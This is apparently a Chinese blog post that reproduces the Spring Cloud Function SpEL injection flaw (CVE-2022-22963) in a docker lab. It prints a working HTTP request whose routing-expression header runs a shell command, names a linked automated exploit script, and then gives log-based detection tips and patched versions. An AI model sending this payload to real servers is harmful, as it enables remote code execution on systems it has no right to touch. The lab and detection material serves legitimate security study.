大柚子

这世界不过如此

概述

Spring框架为现代基于java的企业应用程序(在任何类型的部署平台上)提供了一个全面的编程和配置模型。

Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理,造成Spel表达式注入,攻击者可通过该漏洞执行任意代码。

影响版本

  • 3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
  • Spring Cloud Function <= 3.2.2
  • 官方不再支持的旧版本

漏洞复现

环境安装

docker环境一键启动

[root@localhost CVE-2022-22963]# docker-compose up -d
Starting cve-2022-22963_spring_1 ... done
[root@localhost CVE-2022-22963]# docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS         PORTS                                       NAMES
2090020c8e20   vulhub/spring-cloud-function:3.2.2   "java -Djava.securit…"   7 minutes ago   Up 6 seconds   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   cve-2022-22963_spring_1

浏览器访问:http://192.168.52.131:8080,出现如下界面即启动成功

漏洞利用

漏洞测试

构造payload:


POST /functionRouter HTTP/1.1
Host: 192.168.52.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

虽然返回500,但是已经执行成功

上传成功

获取shell(针对linux)

构造数据包:

获取shell(针对Windows)

针对windows的getshell方式,参考如下,完整的自动化脚本:

https://github.com/k3rwin/spring-cloud-function-rce

应急排查

1、docker logs排查

因为我的靶场环境是docker 环境,所以通过”docker logs -f 容器id“能探查到一定痕迹。

回顾上面的利用过程,会发现请求的url是”functionRoute“和服务器返回的包状态码是500,故我们在日志中可以检测这两个关键字。

2、web访问日志

通过利用手法,可以检索web访问日志(如果有的话),搜索关键字”POST“ ”500“ ”functionRoute“

修复建议

升级到安全版本

  • Spring Cloud Function 3.1.7
  • Spring Cloud Function 3.2.3
Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。